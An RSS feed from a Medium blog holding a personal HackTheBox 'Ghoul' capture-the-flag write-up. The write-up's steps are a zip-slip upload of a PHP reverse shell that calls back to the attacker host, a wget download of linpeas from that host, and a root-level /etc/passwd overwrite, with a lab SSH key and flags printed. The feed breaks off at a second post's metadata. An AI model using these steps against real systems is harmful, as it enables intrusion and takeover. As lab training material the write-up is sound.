<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Will on Medium]]></title>
        <description><![CDATA[Stories by Will on Medium]]></description>
        <link>https://medium.com/@ijustwannahack?source=rss-83586ed26b39------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rYfHeaP4ahf85-Q2yHOAag.png</url>
            <title>Stories by Will on Medium</title>
            <link>https://medium.com/@ijustwannahack?source=rss-83586ed26b39------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 10:49:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ijustwannahack/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox — Ghoul Writeup]]></title>
            <link>https://ijustwannahack.medium.com/hackthebox-ghoul-writeup-f7277fd7a7de?source=rss-83586ed26b39------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7277fd7a7de</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Will]]></dc:creator>
            <pubDate>Tue, 03 Nov 2020 23:00:52 GMT</pubDate>
            <atom:updated>2020-11-04T11:06:04.493Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Ghoul Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*aDQ4kQm5XecWV73-I4TUgg.png" /></figure><p>What with it being Halloween recently and everything, I wanted to find a spooky box on HackTheBox. I heeded the advice not to post any active machine write ups on my Medium account, so here I am looking at retired machines. I signed up to a pro account a couple of weeks ago, and boy are there a number of machines for me to get stuck into! Exciting times :D</p><p>So in between my last write up from last week, what have I been up to? I have signed up to sit my CPSA (CREST Practitioner Security Analyst) exam, which coupled with my OSCP will grant me CRT (CREST Registered Penetration Tester) status which will hopefully help me land my first job as a penetration tester. I have busily been making Flash cards on StudyBlue to help me revise for my exam in December. Further to this, I have been loving the on-demand courses from AttackIQ which allow you to study at your own pace. It was recommended to me by a friend, and I have to say I am thoroughly enjoying them. AttackIQ provide professional and well produced content and free badges for youracclaim.com, what’s not to like?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/222/1*XXwyBdYwxlqFTuTbMghMsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*Mlh4uJTw_vhMkt8HxEHCcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/1*XoPDc1Le1CLZShaPt8ixfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*d8DNClx7grLGDX3tpTmrSQ.png" /></figure><p><a href="https://www.youracclaim.com/badges/afcf28a7-24df-485c-bc4b-8908e80bef1c/linked_in">https://www.youracclaim.com/badges/afcf28a7-24df-485c-bc4b-8908e80bef1c/linked_in</a></p><p><a href="https://www.youracclaim.com/badges/d5cf59ee-fbf2-4fef-b6e3-f229a27e368a/linked_in">https://www.youracclaim.com/badges/d5cf59ee-fbf2-4fef-b6e3-f229a27e368a/linked_in</a></p><p><a href="https://www.youracclaim.com/badges/af2d0563-7c9a-420f-9960-b6a0d4ea66f2/linked_in">https://www.youracclaim.com/badges/af2d0563-7c9a-420f-9960-b6a0d4ea66f2/linked_in</a></p><p>I have also been working on a client’s website, obviously ensuring it’s secure 😉 (I would share on here, but don’t really want my host and her website to be hit by 1000 different attacks). Anyways, it was Halloween, exciting right? Wrong, I had to get some surgery on Saturday which has made me not very mobile. However, it did mean that I spent 45 minutes intensely revising my Flash Cards during the operation and by the end of it was getting 100% time after time *puts on shades* lol. I am currently sat in a very awkward position whilst I write this up lol. I don’t actually have a desk in my house, so am using a little stool balanced on my legs…not an ideal set up to say the least haha:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*QmIp3dm-hROQ7o_6qnPW1A.png" /></figure><p>Without further ado. Here is the writeup for HackTheBox’s Ghoul:</p><h3><strong>Summary:</strong></h3><p><a href="http://10.129.1.97:8080/">http://10.129.1.97:8080/</a></p><p>Login with username: admin and password: admin</p><p>Upload php script (php-reverse-shell.php) which will trigger a reverse shell.</p><p>Script must be uploaded as a zip — change slide so not uploading a jpg file:</p><p>I do this using evilarc.py: <a href="https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py">https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py</a></p><p><em>python2 evilarc.py — os=unix — path=var/www/html -f shelly.zip php-reverse-shell.php — the double dashes have been joined together by medium</em></p><p>Netcat listener on port 1234: nc -nvlp 1234</p><p>Access the page <a href="http://10.129.1.97/php-reverse-shell.php">http://10.129.1.97/php-reverse-shell.php</a> which gives us a low privilege shell</p><p>Discover that the php-reverse-shell.php file was added with ‘root’ privileges.</p><p>Escalate privileges by overwriting /etc/passwd with a new passwd file that has a new user added with root privileges added to it</p><p>will:<em>$1$NTFAJR7U$VnqiK.XT2DlDs28aTbTtr.</em>:0:0:root:/root:/bin/bash</p><p>Username: will Password: superstrong — generated using openssl</p><p>This file is uploaded in the same way as the reverse shell.</p><p><strong>Extra:</strong></p><p>Obtain SSH details and can SSH in</p><h3><strong>Methodology:</strong></h3><p>I spawn the machine and get it’s IP: 10.129.1.97</p><p><strong>Port Scan</strong> — I use my go to nmap initial scan which scans with scripts, all services and OS and versions, all ports.</p><p><em>nmap -sC -A -p- 10.129.1.97</em></p><p>Whilst I wait for the scan to finish, I always try a few common ports anyway, such as port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*5pucH70ZKMzsJ9F12dgAAQ.png" /></figure><p>It’s Tokyo Ghoul!! I love manga and anime, so I will enjoy this box even more! I’ve recently been enjoying Jojo’s Bizarre Adventure, but some of my favourites are:</p><p>· Death note</p><p>· Parasyte</p><p>· Erased</p><p>· Aggretsuko</p><p>· Japan Sinks 2020</p><p>· Akira — movie</p><p>· Blood: the last vampire — movie</p><p>· Vampire Hunter D: Bloodlust — movie</p><p>· Ninja scroll — movie</p><p>· Spirited away — movie – any Studio Ghibli</p><p>· Ghost in the shell — movie</p><p>· Neon Genesis evangelion — movie</p><p>The Nmap scan completes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*yRZPvTwvopTAMZ9fxZLZag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*f47h8Y2uF0L47ssWul8ZEg.png" /></figure><p>Interesting, we have HTTP and SSH open to us. As I always say, this tells us a story. There will most likely be a website vulnerability that I can exploit, which will either give me remote access, or it will give me credentials for SSH.</p><p>I also use searchsploit to quickly check some versions of services running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*3LQXo7-LFNkJJfBcLgOJCg.png" /></figure><h3><strong>Website enumeration:</strong></h3><p>Let’s look around on the website which is on port 80 a little.</p><p><a href="http://10.129.1.97/blog.html">http://10.129.1.97/blog.html</a></p><p>I find a user ‘Admin’ on the blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*sPe2uyIRnf5m8z2_-DCrdw.png" /></figure><p>This is our first clue. There are a few other things I make note of.</p><p><strong>Brute forcing web directories on port 80:</strong></p><p><em>gobuster dir -u </em><a href="http://10.129.1.97/"><em>http://10.129.1.97</em></a><em> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,asp,db</em></p><p><em>wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -z list,txt-php-html -u </em><a href="http://10.129.1.97/FUZZ.FUZ2Z"><em>http://10.129.1.97/FUZZ.FUZ2Z</em></a><em> — hc 404,403 -t 100</em></p><p>I run the above commands simultaneously to save time.</p><p>Gobuster returns the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*5RZcIMPY-1zBdijuGQqNuQ.png" /></figure><p>Secret.php returns with a status of ‘200’ which means we can access it. Nice!! There are also some other interesting directories, however, I cannot access them (but I could fuzz them).</p><p>Wfuzz confirms my findings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*3xW029iaKAj1RWbhwVgZWA.png" /></figure><p>Why use two different tools? Sometimes I find one tool may not work or may find different content. Enumeration is key. The more information we have, the better we can build a picture of the system and understand how we might exploit the system. I always think it is better to spend more time enumerating and gathering information, as this will make the process far smoother later on. For example, let’s say you are going rock climbing. You could without any preparation, just start climbing a wall. However, if it were potentially a life-threatening scenario, this would be reckless. Would it not be better to analyse the wall, the climate and understand how you might best approach the wall in order for your climb to be a success? I’d say so. This is what I try and do when approaching a pentest. Forewarned is forearmed after all!</p><p><strong>Secret.php</strong></p><p>I navigate to secret.php:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*sDxJMnLH5z0RqZjCEKR_zw.png" /></figure><p>Nice, we have usernames as well as <strong>user.txt</strong>!</p><p>Usernames: <strong>Tatara, Noro, Kaneki, Eto</strong>…and of course we had <strong>Admin</strong> from before.</p><p>First flag: <strong>ef7ad35c0f932f22d84158f6ced07a6d</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*rMHePWvZSH6kWzXEKb-YPA.png" /></figure><p>They also mention ‘CCG’ several times</p><p>Let’s try this user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*LsHKhU1S3TFrrRx-MffJ5g.png" /></figure><p>Boo, I thought that was way too easy haha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*ps1UhRsGQLO_IMOXS_agzw.png" /></figure><p>In response to ‘Noro’ asking for access to their remote server, ‘Kaneki’ replies:</p><p><strong>ILoveTouka</strong> ❤</p><p>Very interesting, could this be a password?</p><p>Could the other server be on port 8080.</p><p>I tried the different usernames along with variations of the above password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*ej6gdqOJeNkTPq8RIAmSbg.png" /></figure><p>Nothing worked however…until I tried the most obvious username and password combination imaginable:</p><p>Username: <strong>admin</strong></p><p>Password: <strong>admin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*s1fe_JlmfKvScEwDc3HH7g.png" /></figure><p>This will be my initial foothold possibly! This only goes to show how important passwords and usernames are. This supports the old saying that, “a chain is only as strong as its weakest link”. You may have many controls that you have carefully configured and invested lots of money in to, however, if something as small such as a password is guessable or perhaps someone in your organisation breaks protocol, this can compromise the security of the entire system.</p><p>Back to this page. We can upload files, hello 😉 we all know what this means! Remote access is only a short distance away, hooray.</p><h3><strong>Arbitrary file upload, leading to RCE (Remote Command Execution)</strong></h3><p>I find my local IP using ifconfig: <strong>10.10.14.14</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*pYz5gH7TRnVilma5Gu8ihw.png" /></figure><p>I then edit pentest monkey’s php-reverse-shell.php file: <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">http://pentestmonkey.net/tools/web-shells/php-reverse-shell</a></p><p><em>$ip = ‘10.10.14.14’; // CHANGE THIS</em></p><p><em>$port = 1234; // CHANGE THIS</em></p><p>I set up a netcat listener on port 1234 so that when this php script is triggered, I will receive an incoming connection.</p><p><em>nc -nvlp 1234</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*XkZvJOO91hATxo1QBui7FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*XA3wPNrhrJ_T0NGfhLtYcw.png" /></figure><p>Upon uploading it, I receive an error saying they only accept jpeg. It is obviously analysing our file. Let’s try again. I notice there is a page, which allows me to upload a zip file, interesting!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*v9tYBm5rCnbQh8yGrHSYvg.png" /></figure><p><strong>Zipslip</strong></p><p>This allows you to essentially add directory traversal to a file, so that it will be placed on the attacker’s machine in the correct location.</p><p>And then proceeded to create a zip file called…yes, you guessed it, ‘shelly.zip’ which referenced pentest monkey’s php file which I had stored in /var/www/html. Yes, I could have had a single line of PHP code for the php file, however, I find Pentest Monkey’s php-reverse-shell.php very reliable in most cases.</p><p>I do this using evilarc.py: <a href="https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py">https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py</a></p><p><em>python2 evilarc.py — os=unix — path=var/www/html -f shelly.zip php-reverse-shell.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*AO8ukvNwsCUFq7nrj_ZApg.png" /></figure><p>Let’s give this a go. This time it accepts it, bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*cMCOxQreGyL_83OCptQV3Q.png" /></figure><p>Now let’s trigger our php-reverse-shell.php and check out netcat listener which gives us a…</p><h3><strong>Low privilege shell:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*wSoX6L8GYovvGtsoCoXLvA.png" /></figure><p>I run the standard: <em>whoami</em>, <em>hostname</em> and <em>ifconfig</em> for proof.</p><p>I then run: <em>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*UZXT8MT-6NzwTCrMIYW3_A.png" /></figure><p>I browse to home to look for users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*04UjmmpkFTCBQue2XCODLA.png" /></figure><p>We find: Eto, kaneki, and noro.</p><p>However, I am denied access to them all.</p><p>“What time is it?” I hear you shout, well, it’s privilege escalation time with linpeas.sh!</p><h3><strong>Privilege Escalation:</strong></h3><p>I browse to /tmp as that folder is usually writable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*SvvPQ80Kuy-XXWh1-FpXAg.png" /></figure><p>I set up an HTTP Server on my machine so I can host files using:</p><p><em>python -m SimpleHTTPServer 80</em></p><p><em>curl -o linpeas.sh </em><a href="http://10.10.14.14/linpeas.sh"><em>http://10.10.14.14:80/linpeas.sh</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*Kc4rdfDa_SHCbgGeoaOlYA.png" /></figure><p>Boo! We don’t have curl. Let’s try wget instead.</p><p><em>wget </em><a href="http://10.10.14.14/linpeas.sh"><em>http://10.10.14.14:80/linpeas.sh</em></a></p><p>Hooray, it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*n7AOiNCWteckYBDpE6jFDA.png" /></figure><h3><strong>Linpeas.sh — Finding Further Information</strong></h3><p>I change the permissions of the file with:</p><p><em>chmod +x linpeas.sh</em></p><p>I run linpeas with <em>./linpeas.sh</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*MbNcZLSLvJgfmWSijoqbcQ.png" /></figure><p>We find some information about different users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*wpEYUNLcr-L-jIs0Dwi7xQ.png" /></figure><p>SSH info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*aJhD4hS2KimspJbI795cCw.png" /></figure><p>Interesting files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*4xbw5SNCCOHvNBKx_y6aJQ.png" /></figure><p>Backup files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*jv2Pvh8p8cp0pVrwf68wyw.png" /></figure><p>Kaneki looks like an interesting user, so I read the backup file:</p><p><em>cat /var/backups/backups/keys/kaneki.backup</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*J4OP865hPSZz1Hi6XsofhA.png" /></figure><p><em>cat /var/backups/backups/keys/kaneki.backup</em></p><p><em>— — -BEGIN RSA PRIVATE KEY — — -</em></p><p><em>Proc-Type: 4,ENCRYPTED</em></p><p><em>DEK-Info: AES-128-CBC,9E9E4E88793BC9DB54A767FC0216491F</em></p><p><em>wqcYgOwX3V511WRuXWuRheYyzo5DelW+/XsBtXoL8/Ow7/Tj4EC4dKCfas39HQW8MNbTv51gYxQ/Vc3W1jEYSyxTCYAu600naUhX3+En7P8kje2s0I4VEZX0MJqgB/pvJ9nPBtbXcqV6/v6Vkbc5kGtMiRVMYzS9KWiCOafveFQCr1orYmnNINsZou4AWrfBOfr63sUVD8V1Rabnoltbo+pePXnQ6HqjpO1b2qCyUQBxDxwSFT5a+j5YvMYV3JXKHOo4D0fcMoBVT46pXga6wZtiB4XgeM/iB/xg6YfdfMPuDBJ6+fqZMjlm+GvEexklEEtJAqoSG/yCOjedByVqmfKye9DaIY9Um2WkWcX1bVRlYktYtpb755aDmVVoQjb5CmW4yuLapjqUrGEFY+ghLLRdZvSBPZ18PbUgVMqpdmrfnEy48d22IGPJ6ZO2L4qRFzLjkQkjFRgkrBJ9bSzYS/NYZ8QGQh/wk3BHaupjLxD2j1Ta7PXwCjh4zBZNPO/e9VN9c+b/zwYSyyeKcJ8dhFEH26j5g93EnWTkdLEMyw6tRbdzhQbNo02WWDTvWPJv+6A+6xA6/+NxacHXfyfxQ+l8CsmpZ5CgKjKHfFeDYZHyoPhcthKkL3Go3rqZ1HObMimhTR3wOUwoV/XaVcCvW+5LwPh1ljdnHCjaY2VzKns4/X+2dZtOsDz5aCovN7mMeHsRuIEVKtZ2EijKfYZGtDaDwTd/1YTDooGdDDdDipr8bTDvD14r07Yk/xrfjEUpV9+v3PzmD1trqIlFw+7D8ogFsXJ/P+raVFWaihQWEeqOnGXEhHQ0afgcVt9w62tV1YeVA0RwHu4S1IObji9RP1DfAMid0pCSnvAoFd/EArnAtwgPFOLqvPZj5j+LjFPLsOHUW+N+cY24HpH1UVTEWAkgkiGz89/bF98c1kpoLEkS2sjU+jVONTBlLeRmqcDJYnCcPXrkT6oC/wctYlM141hrctWRyjY+f0IwREDCv8TM1aAAY3vaZUdMfy71Q3DEPO4S5ivuruwGeCQmGhEmWBSm0PwpGd0pNbHv+zs0TH+2lmAn8O3R2UrcCu0TxhmHoW0mQbl+2u+xVB5ijjqtm0CFLsXiX17FdCbMp1huCMTx9TuY6GMeSsN6X7exTIcxDEvpUHREXgtVqBdNX1QxIoMIxpK2qlMfPYtGikthba5fjBof0b/8lJvtZuoWrJ9RL0HWW16fkbjEXSrwdEb5zjntCxJKLWmKgiFfaoJ9/L1yhc12w/EQjpUxGkFdyeMs7QyGClGpKFU4GQvKMQYei57sNk/ZUPgPWizNfuuU/8qBhKXG9JB2R3GWFTEpxzO8luTnBEUn8Se3cLNrBQ05LIVk2jRYhUE6IBWFYvhjQUGChZTZjSlxNR55t6olYj2MJBxtT5E2YDhSk4nB21IlTIurggP9pNm+PtTTt2o0jzOD5uOHko6VzGz4Ukvbo0gZ/zyr4fR7OhGG0grtKxV1s2PpDt9bkhnMXJ+I8zZVN9INHUsoE5IXtpKKJOCQYFjQv+EB7xAmWe1q9xSgLSq6I1fWJrYqjkOd9TpqVPNoyTGWM1ELYXyHah8vZi+0BFzh</em></p><p><em>— — -END RSA PRIVATE KEY — — -</em></p><p>I then try and SSH in:</p><p><em>chmod 600 kaneki.key</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*xDMPyJUROhNvC_1FUWM8-A.png" /></figure><p>I ignore this, perhaps I will use this later.</p><p>I then take a look at the processes and cron jobs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*sfTiMYjEFukYicK5N1cv6Q.png" /></figure><p>I confirm this with: <em>ps auxww</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*-9QmZLF2-Iw_RXYBJxgOag.png" /></figure><p>Upon browsing to my php-reverse-shell.php file that I had uploaded, I see that it was run as ‘root’:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*BzdIphoVB9W_fZJbuzE5MQ.png" /></figure><p>Now I can probably create a bash script which will add a new administrator, which I can then su into.</p><p>#!/bin/bash</p><p>sudo useradd -p $(openssl passwd -1 strongpassword) will</p><p><em>python2 evilarc.py — os=unix — path=var/www/html -f adduser.zip adduser.sh</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*cMkJQmLXkp5k_GCa4ZDsAQ.png" /></figure><p>Obviously that did not work, as it did not run.</p><p>I browse to the passwd file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*OgCRYzUoIRTGKKWdu20QLg.png" /></figure><h3><strong>Creating a new administrator by overwriting the passwd file</strong></h3><p>Let’s just overwrite the passwd file.</p><p><em>root:x:0:0:root:/root:/bin/bash</em></p><p><em>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</em></p><p><em>bin:x:2:2:bin:/bin:/usr/sbin/nologin</em></p><p><em>sys:x:3:3:sys:/dev:/usr/sbin/nologin</em></p><p><em>sync:x:4:65534:sync:/bin:/bin/sync</em></p><p><em>games:x:5:60:games:/usr/games:/usr/sbin/nologin</em></p><p><em>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</em></p><p><em>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin</em></p><p><em>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin</em></p><p><em>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin</em></p><p><em>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</em></p><p><em>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin</em></p><p><em>www-data:x:33:33:www-data:/var/www:/bin/sh</em></p><p><em>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin</em></p><p><em>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin</em></p><p><em>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin</em></p><p><em>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin</em></p><p><em>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</em></p><p><em>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin</em></p><p><em>systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin</em></p><p><em>systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin</em></p><p><em>messagebus:x:103:104::/nonexistent:/usr/sbin/nologin</em></p><p><em>sshd:x:104:65534::/run/sshd:/usr/sbin/nologin</em></p><p><em>kaneki:x:1000:1000::/home/kaneki:/bin/bash</em></p><p><em>Eto:x:1001:1001::/home/Eto:/bin/bash</em></p><p><em>noro:x:1002:1002::/home/noro:/bin/bash</em></p><p>Let’s just add a new user at the bottom.</p><p>I generate a new password which I will use for my new user:</p><p><em>openssl passwd -1</em></p><p>I then type in my password:<em> superstrong</em></p><p>Which gives me:<em> $1$NTFAJR7U$VnqiK.XT2DlDs28aTbTtr.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*wLots1xWDe3qX0-mCAJLNA.png" /></figure><p><strong>will:<em>$1$NTFAJR7U$VnqiK.XT2DlDs28aTbTtr.</em>:0:0:root:/root:/bin/bash</strong></p><p>I then create a new ‘passwd’ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*FeVXzG0226qEEEKihvFC_g.png" /></figure><p>root:x:0:0:root:/root:/bin/bash</p><p>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</p><p>bin:x:2:2:bin:/bin:/usr/sbin/nologin</p><p>sys:x:3:3:sys:/dev:/usr/sbin/nologin</p><p>sync:x:4:65534:sync:/bin:/bin/sync</p><p>games:x:5:60:games:/usr/games:/usr/sbin/nologin</p><p>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</p><p>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin</p><p>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin</p><p>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin</p><p>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</p><p>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin</p><p>www-data:x:33:33:www-data:/var/www:/bin/sh</p><p>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin</p><p>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin</p><p>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin</p><p>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin</p><p>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</p><p>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin</p><p>systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin</p><p>systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin</p><p>messagebus:x:103:104::/nonexistent:/usr/sbin/nologin</p><p>sshd:x:104:65534::/run/sshd:/usr/sbin/nologin</p><p>kaneki:x:1000:1000::/home/kaneki:/bin/bash</p><p>Eto:x:1001:1001::/home/Eto:/bin/bash</p><p>noro:x:1002:1002::/home/noro:/bin/bash</p><p><strong>will:$1$NTFAJR7U$VnqiK.XT2DlDs28aTbTtr.:0:0:root:/root:/bin/bash</strong></p><p><em>python2 evilarc.py — os=unix — path=etc/ -f newuser.zip passwd</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*wkCJZCEVsllOVod0dHJ9kA.png" /></figure><p>Let’s see if this works.</p><p>YES!!!! It worked. I re-read the passwd file using cat, and see that I have successfully added a new user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*r9b-a0aarhGA5pYivU-YKg.png" /></figure><p>We have a new user, ‘will’ with the password, superstrong</p><p>I then change the user to will and authenticate:</p><p><em>su will</em></p><p><em>superstrong</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*ovLGiZhSvubDjOzIYvUTWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*veZeFwPE71gEjAku7q7TdQ.png" /></figure><h3><strong>User flag: 7c0f11041f210f4f7d1711d40a1c35c2</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*mzFtm0oZEo59hQDnjaRrqA.png" /></figure><p>But nothing in root ☹</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*JIqAouIyrewheIhoizENMQ.png" /></figure><p>Further information gathering:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*OAHxvX6SHc2aPrr37Mnn1A.png" /></figure><p>I also want to see what the ‘secret.jpg’ is so I copy it into the images folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*FRzqRt3Lg_w5nvUQVu2iWA.png" /></figure><p>I can now view it. Not quite such a great secret, but a cool picture!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*aE8IeuqFer1XwTSt1ffJug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*Sc4BYAoEfAs4yhzx_xWAkw.png" /></figure><p><strong>SSH as </strong><a href="/service/mailto:kaneki@10.129.1.97"><strong>kaneki@10.129.1.97</strong></a></p><p>I use the SSH key that I created from before, and then use the password, ILoveTouka</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*XLfOLG4B1PEQGY7CetXJog.png" /></figure><p>Noro gives access to Kaneki with a simple first line, their password…and of course, a cute little heart 😉</p><p>chmod 600 kaneki.key</p><p>ssh -i kaneki.key <a href="/service/mailto:kaneki@10.129.1.97">kaneki@10.129.1.97</a></p><p>ILoveTouka</p><p>ILoveTouka</p><p>This successfully grants me access! (See window on the right)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*bS0srw1WBO64wcUHV7IIHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*CedL7IOB57zJzQZQjsym7g.png" /></figure><p>And let’s call it a day for now 😊</p><p>NOTE: During today I sat a technical exam which tested my penetration testing skills as part of an interview. This will probably be the last HTB writeup I do (edit: for the foreseeable future). Why? I feel that I have gained quite a lot of knowledge from OSCP and HTB, but this exam I sat today allowed me to discover that I have several weaknesses, primarily, web application exploits, but also, I had no actual experience on a website out of the context of a private network, and therefore needed to use my Public IP instead. I felt disappointed in my performance. Well onwards, and upwards now. It is experience I can learn from.</p><p>Therefore, from now on, this blog will be dedicated to my new best friend, portswigger: <a href="https://portswigger.net/">https://portswigger.net/</a></p><p>However, I will continue to blog about all things related to penetration testing, hacking, offensive security, red teaming, purple teaming and exploit development.</p><p>I look forward to the next part of my journey and developing my skills further!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7277fd7a7de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP – how to pass first time, like I didn’t.]]></title>
            <link>https://ijustwannahack.medium.com/oscp-how-to-pass-first-time-like-i-didnt-b8caac49eb67?source=rss-83586ed26b39------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8caac49eb67</guid>
            <category><![CDATA[oscp-exam]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentester]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Will]]></dc:creator>
